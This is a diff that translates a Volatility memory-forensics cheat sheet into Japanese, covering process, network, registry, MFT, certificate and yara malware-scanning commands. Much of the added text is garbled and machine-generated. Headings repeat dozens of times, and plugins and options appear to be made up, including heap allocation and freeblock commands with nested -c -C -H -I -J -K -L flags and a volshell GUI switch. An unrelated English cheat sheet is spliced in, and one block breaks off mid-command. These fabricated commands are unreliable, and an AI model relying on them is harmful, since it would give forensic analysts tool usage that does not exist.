特定のプロセスのメモリダンプの解析(プラグイン) + +```bash +volatility -f <ファイル名> --profile=<プロファイル> <プラグイン名> -p <プロセスID> +``` + +## ネットワークのメモリ解析 + +### 特定のネットワーク接続のメモリダンプの作成 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> memdump -p <プロセスID> -D <出力ディレクトリ> +``` + +### 特定のネットワーク接続のメモリダンプの解析 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> volshell -f <メモリダンプファイル> +``` + +### 特定のネットワーク接続のメモリダンプの解析(GUI) + +```bash +volatility -f <ファイル名> --profile=<プロファイル> volshell -f <メモリダンプファイル> -g +``` + +### 特定のネットワーク接続のメモリダンプの解析(プラグイン) + +```bash +volatility -f <ファイル名> --profile=<プロファイル> <プラグイン名> -p <プロセスID> +``` + +## ファイルシステムのメモリ解析 + +### 特定のファイルのメモリダンプの作成 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> memdump -p <プロセスID> -D <出力ディレクトリ> +``` + +### 特定のファイルのメモリダンプの解析 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> volshell -f <メモリダンプファイル> +``` + +### 特定のファイルのメモリダンプの解析(GUI) + +```bash +volatility -f <ファイル名> --profile=<プロファイル> volshell -f <メモリダンプファイル> -g +``` + +### 特定のファイルのメモリダンプの解析(プラグイン) + +```bash +volatility -f <ファイル名> --profile=<プロファイル> <プラグイン名> -p <プロセスID> +``` + +## レジストリのメモリ解析 + +### 特定のレジストリキーのメモリダンプの作成 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> memdump -p <プロセスID> -D <出力ディレクトリ> +``` + +### 特定のレジストリキーのメモリダンプの解析 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> volshell -f <メモリダンプファイル> +``` + +### 特定のレジストリキーのメモリダンプの解析(GUI) + +```bash +volatility -f <ファイル名> --profile=<プロファイル> volshell -f <メモリダンプファイル> -g +``` + +### 特定のレジストリキーのメモリダンプの解析(プラグイン) + +```bash +volatility -f <ファイル名> --profile=<プロファイル> <プラグイン名> -p <プロセスID> +``` + +## イベントログのメモリ解析 + +### 特定のイベントログのメモリダンプの作成 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> memdump -p <プロセスID> -D <出力ディレクトリ> +``` + +### 特定のイベントログのメモリダンプの解析 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> volshell -f <メモリダンプファイル> +``` + +### 特定のイベントログのメモリダンプの解析(GUI) + +```bash +volatility -f <ファイル名> --profile=<プロファイル> volshell -f <メモリダンプファイル> -g +``` + +### 特定のイベントログのメモリダンプの解析(プラグイン) + +```bash +volatility -f <ファイル名> --profile=<プロファイル> <プラグイン名> -p <プロセスID> +``` + +## メモリ解析のワークフロー + +1. プロセス、ネットワーク、ファイルシステム、レジストリ、イベントログの情報を収集する。 +2. 必要な情報を特定するために、各種コマンドを使用する。 +3. 特定のプロセス、ネットワーク接続、ファイル、レジストリキー、イベントログを解析するために、メモリダンプを作成する。 +4. メモリダンプを解析するために、volshellコマンドを使用する。 +5. 必要な情報を特定するために、各種プラグインを使用する。 + +## メモリ解析のヒント + +- プロセス、ネットワーク接続、ファイル、レジストリキー、イベントログの情報を収集する前に、プロファイルを適切に設定すること。 +- メモリダンプを作成する前に、必要な情報を特定すること。 +- メモリダンプを解析する前に、volshellコマンドを使用して必要な情報を特定すること。 +- メモリダンプを解析する前に、各種プラグインを使用して必要な情報を特定すること。 + +## メモリ解析のトラブルシューティング + +- プロファイルが正しく設定されているか確認すること。 +- メモリダンプが正しく作成されているか確認すること。 +- volshellコマンドが正しく使用されているか確認すること。 +- 各種プラグインが正しく使用されているか確認すること。 + +## メモリ解析のベストプラクティス + +- プロファイルを適切に設定すること。 +- 必要な情報を特定するために、各種コマンドを使用すること。 +- メモリダンプを作成する前に、必要な情報を特定すること。 +- メモリダンプを解析する前に、volshellコマンドを使用して必要な情報を特定すること。 +- 必要な情報を特定するために、各種プラグインを使用すること。 ```bash volatility --profile=Win7SP1x86_23418 mftparser -f file.dmp ``` {% endtab %} {% endtabs %} -The NTFS file system contains a file called the _master file table_, or MFT. There is at least one entry in the MFT for every file on an NTFS file system volume, including the MFT itself. **All information about a file, including its size, time and date stamps, permissions, and data content**, is stored either in MFT entries, or in space outside the MFT that is described by MFT entries. From [here](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table). +NTFSファイルシステムには、_マスターファイルテーブル_またはMFTと呼ばれるファイルが含まれています。NTFSファイルシステムボリューム上のすべてのファイルには、MFTに少なくとも1つのエントリがあります(MFT自体も含まれます)。**ファイルに関するすべての情報(サイズ、時刻、日付スタンプ、アクセス許可、データ内容など)**は、MFTエントリまたはMFTエントリで説明されるMFTの外部のスペースに格納されます。[ここから](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table)。 -### SSL Keys/Certs - -{% tabs %} -{% tab title="vol3" %} +### SSLキー/証明書 ```bash #vol3 allows to search for certificates inside the registry ./vol.py -f file.dmp windows.registry.certificates.Certificates ``` -{% endtab %} +## プロセスとスレッド -{% tab title="vol2" %} +### プロセスの一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> pslist +``` + +### 特定のプロセスの詳細情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> psxview -p <プロセスID> +``` + +### 特定のプロセスのスレッド一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> threads -p <プロセスID> +``` + +### 特定のスレッドのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープ情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktraces -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのヒープブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktraces -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> memdump -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -D <出力ディレクトリ> +``` + +### 特定のスレッドのヒープのヒープブロックのデータをファイルに保存する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> memdump -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -D <出力ディレクトリ> -f <出力ファイル名> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数で表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexdump -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータをASCIIで表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> strings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -D <出力ディレクトリ> -f <出力ファイル名> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する(ファイル名は自動生成) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -D <出力ディレクトリ> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する(ディレクトリは自動生成) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -f <出力ファイル名> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する(ディレクトリとファイル名は自動生成) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する(ディレクトリとファイル名は自動生成) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する(ディレクトリとファイル名は自動生成) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する(ディレクトリとファイル名は自動生成) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する(ディレクトリとファイル名は自動生成) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する(ディレクトリとファイル名は自動生成) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する(ディレクトリとファイル名は自動生成) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する(ディレクトリとファイル名は自動生成) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` ```bash #vol2 allos you to search and dump certificates from memory #Interesting options for this modules are: --pid, --name, --ssl volatility --profile=Win7SP1x86_23418 dumpcerts --dump-dir=. -f file.dmp ``` -{% endtab %} -{% endtabs %} - -## Malware +## マルウェア {% tabs %} {% tab title="vol3" %} @@ -610,9 +4685,228 @@ volatility --profile=Win7SP1x86_23418 dumpcerts --dump-dir=. -f file.dmp ./vol.py -f file.dmp linux.check_modules.Check_modules #Compares module list to sysfs info, if available ./vol.py -f file.dmp linux.tty_check.tty_check #Checks tty devices for hooks ``` -{% endtab %} +## プロセスとスレッド -{% tab title="vol2" %} +### プロセスの一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> pslist +``` + +### 特定のプロセスの詳細情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> psxview -p <プロセスID> +``` + +### 特定のプロセスのスレッド一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> threads -p <プロセスID> +``` + +### 特定のスレッドのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stack -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープ情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -I +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -I +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -I +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -I +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -I -J +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -I -J +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -I -J +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -I -J +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K -L +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K -L +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K -L +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K -L +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp malfind [-D /tmp] #Find hidden and injected code [dump each suspicious section] volatility --profile=Win7SP1x86_23418 -f file.dmp apihooks #Detect API hooks in process and kernel memory @@ -631,13 +4925,10 @@ volatility --profile=SomeLinux -f file.dmp linux_keyboard_notifiers #Keyloggers {% endtab %} {% endtabs %} -### Scanning with yara +### yaraでスキャンする -Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Create the _**rules**_ directory and execute it. This will create a file called _**malware\_rules.yar**_ which contains all the yara rules for malware. - -{% tabs %} -{% tab title="vol3" %} +このスクリプトを使用して、githubからすべてのyaraマルウェアルールをダウンロードしてマージします:[https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +_**rules**_ディレクトリを作成し、実行します。これにより、マルウェアのすべてのyaraルールが含まれた_**malware\_rules.yar**_というファイルが作成されます。 ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules @@ -647,9 +4938,67 @@ python malware_yara_rules.py #All ./vol.py -f file.dmp yarascan.YaraScan --yara-file /tmp/malware_rules.yar ``` -{% endtab %} +# Volatility Cheat Sheet -{% tab title="vol2" %} +## Introduction + +This cheat sheet provides a quick reference guide for using Volatility, a popular open-source memory forensics framework. Volatility allows analysts to extract valuable information from memory dumps, such as running processes, network connections, and loaded modules. + +## Installation + +To install Volatility, follow these steps: + +1. Install Python 2.7.x or Python 3.x. +2. Install the required Python packages by running `pip install -r requirements.txt`. +3. Download the latest release of Volatility from the official GitHub repository. +4. Extract the downloaded archive. +5. Navigate to the extracted directory and run `python vol.py`. + +## Basic Commands + +Here are some basic commands to get started with Volatility: + +- `imageinfo`: Displays information about the memory image. +- `pslist`: Lists running processes. +- `pstree`: Displays a process tree. +- `dlllist`: Lists loaded DLLs. +- `handles`: Lists open handles. +- `cmdline`: Displays command-line arguments for processes. +- `netscan`: Scans for network connections. +- `connections`: Lists open network connections. +- `modules`: Lists loaded modules. +- `malfind`: Finds hidden or injected code. + +## Advanced Commands + +Here are some advanced commands for more in-depth analysis: + +- `memdump`: Dumps a process memory. +- `dumpfiles`: Extracts files from memory. +- `dumpregistry`: Dumps the registry. +- `dumpcerts`: Dumps certificates. +- `vadinfo`: Displays information about virtual address descriptors. +- `vaddump`: Dumps a virtual address space. +- `vadtree`: Displays a virtual address space tree. +- `vadwalk`: Walks the virtual address space. +- `apihooks`: Lists API hooks. +- `ldrmodules`: Lists loaded modules using the loader order. + +## Plugins + +Volatility also supports plugins, which provide additional functionality. Some popular plugins include: + +- `malfind`: Finds hidden or injected code. +- `timeliner`: Creates a timeline of events. +- `shellbags`: Extracts information from Windows shellbags. +- `cmdscan`: Scans for command history. +- `hivelist`: Lists registry hives. +- `hashdump`: Dumps password hashes. +- `svcscan`: Scans for Windows services. + +## Conclusion + +Volatility is a powerful tool for memory forensics analysis. By using the commands and plugins provided in this cheat sheet, analysts can extract valuable information from memory dumps and uncover evidence of malicious activity. ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules @@ -661,42 +5010,537 @@ volatility --profile=Win7SP1x86_23418 yarascan -y malware_rules.yar -f ch2.dmp | ## MISC -### External plugins +### 外部プラグイン -If you want to use external plugins make sure that the folders related to the plugins are the first parameter used. - -{% tabs %} -{% tab title="vol3" %} +外部プラグインを使用する場合は、プラグインに関連するフォルダが最初のパラメータとして使用されていることを確認してください。 ```bash ./vol.py --plugin-dirs "/tmp/plugins/" [...] ``` -{% endtab %} +## プロセスとスレッド + +### プロセスの一覧を表示する -{% tab title="vol2" %} ```bash - volatilitye --plugins="/tmp/plugins/" [...] +volatility -f <ファイル名> --profile=<プロファイル名> pslist +``` + +### 特定のプロセスの詳細情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> psxview -p <プロセスID> +``` + +### 特定のプロセスのスレッド一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> threads -p <プロセスID> +``` + +### 特定のスレッドのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープ情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktraces -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのヒープブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktraces -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> memdump -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -D <出力ディレクトリ> +``` + +### 特定のスレッドのヒープのヒープブロックのデータをファイルに保存する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> memdump -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -D <出力ディレクトリ> -f <出力ファイル名> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数で表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexdump -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータをASCIIで表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> strings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -D <出力ディレクトリ> -f <出力ファイル名> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する(ファイル名は自動生成) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -D <出力ディレクトリ> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する(ディレクトリは自動生成) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -f <出力ファイル名> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する(ディレクトリとファイル名は自動生成) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する(ディレクトリとファイル名は自動生成) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する(ディレクトリとファイル名は自動生成) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する(ディレクトリとファイル名は自動生成) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する(ディレクトリとファイル名は自動生成) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する(ディレクトリとファイル名は自動生成) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する(ディレクトリとファイル名は自動生成) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 